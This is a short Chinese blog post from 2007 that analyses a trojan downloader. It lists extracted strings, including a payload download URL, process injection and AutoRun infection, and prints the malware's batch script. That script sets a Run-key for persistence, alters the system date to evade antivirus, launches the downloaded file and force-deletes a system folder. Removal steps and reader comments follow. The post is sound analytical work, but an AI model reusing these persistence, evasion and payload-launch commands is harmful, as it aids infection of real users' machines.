百度空间 | 百度首页 
               
 
查看文章
  
简析 裸女下载器 hmimys-packer1.0+ASPack 2.x (without poly) -> Alexey Solodovnikov
2007年07月04日 星期三 12:30

裸女下载器 用hmimys-packer1.0+ASPack 2.x (without poly) -> Alexey Solodovnikov双重壳保护.原始大小29.5K,脱掉双重壳后大小130K,Borland Delphi 6.0 - 7.0编写,老样子 改时间过咔吧,建批处理来删除自己,然后下载木马!建立autorun感染驱动器.

                                                                                            
hmimys:004051AD       0000000C C WindowsDown              //下载函数                                                                             
hmimys:004051F1       0000000C C svchost.exe                                                                  //插入 svchost.exe 进程                                                                            
hmimys:00405241       0000001D C http://lzw79.3322.org/11.exe                //下载小马                                                                                                             
hmimys:00405941       00000011 C \\C$\\AutoExec.bat                                                                                                                                  
                                                                    
hmimys:00405FA5       0000002E C \\program files\\internet explorer\\IEXPLORE.EXE                                                  //调IE开始下载                                                       
hmimys:00406249       00000010 C set date=%date%                                                                             //将当前日期保存                                                             
hmimys:00406261       00000010 C date 1981-01-12                                                                              //修改日期到1981 01 12                                                               
hmimys:00406279       00000019 C ping -n 10 127.0.0.1>nul                                                               //ping 10次 127.0.01 返回 nul                                                                                                                  
hmimys:00406BA5       0000000A C ntdll.dll                                                                                                                                           
hmimys:00406BB1       00000015 C ZwUnmapViewOfSection                                                                                                                                
hmimys:004079A1       00000012 C drivers/klick.sys                                                                                                                                   
hmimys:004079BD       00000017 C Windows InstallService                                                                                                                              
hmimys:00407B3F       00000029 C ?竆xFF\xFF柝筡xFF\xFF崊\b齖xFF\xFF奤鴢翧杩縗xFF\xFF嫊\b齖xFF\xFF岴鸸舼@                                                                            
hmimys:00407CD5       0000003C C Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer                                                                                    
hmimys:00407D11       00000013 C NoDriveTypeAutoRun                                                                     //检查驱动器有没有AutoRun没有建立!                                                            
hmimys:00407D2D       00000011 C [AutoRun]\r\nopen=                                                                                                                                  
hmimys:00407E95       00000005 C 0501                                                                                                                                                

该下载器会将自己复制到system32下servet.exe文件,并且把http://lzw79.3322.org/11.exe下载到用户目录下的temp下改名Microsoft.com,自己还会在Microsoft.com的同一目录下产生一个Microsoft.vbs脚本来运行Microsoft.com. 运行后会在system生成一堆垃圾!

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v lype /t REG_EXPAND_SZ /d "%systemroot%\avp.exe" /f
set date=%date%
date 2000-01-01
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %system%.\run$.vbs
set /a i = 10
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %system%.\ run$.vbs
goto Timeout
goto End
:Next
%systemroot%\system\11.exe
copy %systemroot%\system\run.pif    %systemroot%\system32\
for %%f in (%system%.\run$.vbs*) do del %%f
date %date%
RD /S /Q %systemroot%\system\
添加开机启动,有改时间过咔吧,删除自己,把自己烤到system32下
清除
把每个驱动器下的AutoRun.inf和他对应的exe删了,在把system32下的11.exe和servet.exe删了,优化一下开机启动就完成了!

类别：西毒 | 添加到搜藏 | 浏览() | 评论 (4)
 
最近读者：
 
网友评论：
1
2007年07月04日 星期三 12:57 | 回复
什么时代啦…写毒的很无聊啊…
 
2
2007年07月04日 星期三 12:57 | 回复
阿虎果然是黑客啊： ）
 
3
2007年07月04日 星期三 17:11 | 回复
改时间过咔吧,建批处理来删除自己,然后下载木马!建立autorun感染驱动器 这个几乎可以指定出一个标准来了
 
6
2007年07月08日 星期日 00:40 | 回复
改时间过咔吧,建批处理来删除自己,然后下载木马!建立autorun感染驱动器 果然是标准~
 
发表评论：
姓　名：
网址或邮箱： (选填)
内　容：
验证码： 请点击后输入四位验证码，字母不区分大小写
      

     

©2009 Baidu